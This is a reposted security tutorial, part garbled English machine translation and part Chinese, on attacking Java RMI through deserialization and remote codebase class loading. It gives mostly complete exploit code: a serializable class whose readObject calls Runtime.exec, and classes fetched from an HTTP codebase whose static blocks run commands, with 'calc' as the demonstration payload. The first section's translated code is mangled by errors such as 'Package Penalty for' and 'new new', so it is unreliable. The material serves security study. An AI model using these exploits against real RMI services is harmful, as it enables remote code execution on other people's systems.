About <Java in RMI, JNDI, LDAP, JRMP, JMX, JMS those things (on)> -1 after watching some summary

Original Address: https://www.anquanke.com/post/id/194384#h3-3

1.java rmi

About rmi client and server communication process, java rmi methods are implemented in the server, the client is actually accessed by rmi registry to get the stub, and then the server calls the method by which, when you call a method to pass after the argument, generic type parameter can also be a reference type, you have to fight some gaget chain if a reference type, you can use the services end server, because the argument is actually a sequence of transmission, then the data arrives at the server We will certainly go through deserialization.

Client:

RMIClient.java

Package com.longofo.javarmi; 

Import java.rmi.registry.LocateRegistry; 
Import java.rmi.registry.Registry; 

public class RMIClient {  / **  * malicious use of the RMI the Java Demo  *  * @param args  * @throws Exception  * /  public void main static (String [] args) throws Exception {  Registry Registry LocateRegistry.getRegistry = ( "127.0.0.1", 9999 ); // get remote object reference Services = Services (Services) Registry.lookup ( "Services" ); Malicious = new new PublicKnown PublicKnown (); malicious.setParam ( "Calc" ); malicious.setMessage ( "haha" ); // call the corresponding method using a reference remote objects System.out.println(services.sendMessage(malicious)); } }

At this point the client service side to fight, so to malicious object as a parameter to the server, then the serialized object deserialized on the server

publicKnown.java

package com.longofo.javarmi;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class PublicKnown extends Message implements Serializable {
    private static final long serialVersionUID = 7439581476576889858L; private String param; public void setParam(String param) { this.param = param; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.param); } }

This time to pass the malicious objects will certainly be in line with the definition of the type of server parameters

Server:

RMIServer.java

//RMIServer.java 
Package Penalty for com.longofo.javarmi; 

Import java.rmi.AlreadyBoundException; 
Import java.rmi.RemoteException; 
Import java.rmi.registry.LocateRegistry;  Import java.rmi.registry.Registry;  Import in java.rmi.server with .UnicastRemoteObject; public class the RMIServer {/ * ** the RMI the Java server @param args * * * / public static void main (String [] args) {the try {// instantiate server-side remote object obj = new new ServicesImpl ServicesImpl () ; // no need to use static methods inherited UnicastRemoteObject exportObject processing Services = Services (Services) UnicastRemoteObject.exportObject (obj, 0 ); Registry REG; the try {// create a Registry reg = LocateRegistry.createRegistry (9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage(); } }

Service.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

Message.java

package com.longofo.javarmi;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = -6210579029160025375L;
    private String msg;

    public Message() { } public String getMessage() { System.out.println("Processing message: " + msg); return msg; } public void setMessage(String msg) { this.msg = msg; } }

So is the class ServicesImpl server vulnerable here, there is a method which its inlet Message object parameters, and where Message class inherits from the Serializable, which can be deserialized. Server function to bind the remote object to the RMI registry by bind (), then the client can access the RMI registry to get the stub, you can call server methods, such as sendMessage () function

At this first start RMIServer.java, then start RMIClient.java, you can achieve the effect of playing rmi server, where jdk version 1.6

 

在服务端的readObject处下断点,即可看到调用栈,经过ConnectHandler后就能够确定服务端要反序列化的类名

 接下来就是通过反射调用PublicKnown类的readObject方法 ,进而到达readObject内部的命令执行代码段

2.java rmi 动态加载类

2.1RMI服务端打客户端

java rmi动态加载类,其实就是通过指定codebase来制定远程的类仓库,我们知道java在运行过程中需要类的时候可以在本地加载,即在classpath中找,那么也可以通过codebase来指定远程库。默认是不允许远程加载的,如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false,当然这也是受jdk版本限制的。

RMIClient.java

package com.longofo.javarmi;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient1 {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception { //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库 System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); Message message = new Message(); message.setMessage("hahaha"); services.sendMessage(message); } }

此时RMI客户端正常操作,传入Message对象,并调用服务端sendMessage方法

ServiceImpl.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject;

import java.rmi.RemoteException;

public class ServicesImpl1 implements Services {
    @Override
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject(); } }

可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型,即该类的实例

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.longofo.remoteclass;

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExportObject implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public ExportObject() { } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr; String lineStr; for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") { } inBr.close(); in.close(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } static { try { exec("calc"); } catch (Exception var1) { var1.printStackTrace(); } } }

这里实际上服务端返回的即为该ExportObject类的实例,该类是实现了对象工厂类,并且可以序列化的,所以可以通过jrmp进行传输,我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载,当客户端远程加载该类时将会实例化该类,即调用该类的static代码段

RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject; public class RMIServer1 { public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl1 obj = new ServicesImpl1(); // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); //设置java.rmi.server.codebase System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry reg; try { // 创建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }

此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时需要加载该类,此时将通过服务端提供的codebase来加载

此时先启动托管远程类的服务端,将ExportObject.class放在codebase指定的位置,这里要注意包名要和目录名相一致

然后启动RMI服务端,启动RMI客户端,即完成了客户端要调用sendMessage方法,此时服务端返回了ExportObject对象,客户端发现返回的是ExportObject对象后,那将在本地的classpath中没找到该类,则通过服务端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc

此时托管class的http服务端也收到了加载class文件的请求

2.2RMI客户端打服务端

RMIClient.java

package com.longofo.javarmi;

import com.longofo.remoteclass.ExportObject1;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient2 {
    public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); // 获取远程对象的引用 Services services = (Services) registry.lookup("Services"); ExportObject1 exportObject1 = new ExportObject1(); exportObject1.setMessage("hahaha"); services.sendMessage(exportObject1); } }

上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那么从上面这段代码可以看到此时是客户端制定了codebase地址,那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象

ExportObject1.java

package com.longofo.remoteclass;

import com.longofo.javarmi.Message;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable; import java.util.Hashtable; public class ExportObject1 extends Message implements ObjectFactory, Serializable { private static final long serialVersionUID = 4474289574195395731L; public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }

此时该类继承自Message类,实现对象工厂接口,并且支持序列化

ServiceImpl.java

package com.longofo.javarmi;

import java.rmi.RemoteException;

public class ServicesImpl implements Services {
    public ServicesImpl() throws RemoteException {
    }

    @Override
    public Object sendMessage(Message msg) throws RemoteException {
        return msg.getMessage(); } }

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIServer2 { /** * Java RMI 服务端 * * @param args */ public static void main(String[] args) { try { // 实例化服务端远程对象 ServicesImpl obj = new ServicesImpl(); // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); Registry reg; try { //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库 System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 创建Registry reg = LocateRegistry.createRegistry(9999); System.out.println("java RMI registry created. port on 9999..."); } catch (Exception e) { System.out.println("Using existing registry"); reg = LocateRegistry.getRegistry(); } //绑定远程对象到Registry reg.bind("Services", services); } catch (RemoteException e) { e.printStackTrace(); } catch (AlreadyBoundException e) { e.printStackTrace(); } } }

可以由以上代码看到,此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数,这里方法体内容是什么并不重要,因为这种打法和第一节中的打法一样,都是打RMI服务端,区别是第一节是利用RMI服务端本地的gaget chain,而这里则是利用远程类加载,通过客户端指定的codebase来打RMI服务端。

 所以此时codebase的地址也将受到请求ExportObject1.class的请求,因为服务端发现穿送过来的ExportObject1类classpath里面没有,所有就会通过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,执行static代码块的命令

 

Guess you like

Origin www.cnblogs.com/tr1ple/p/12231677.html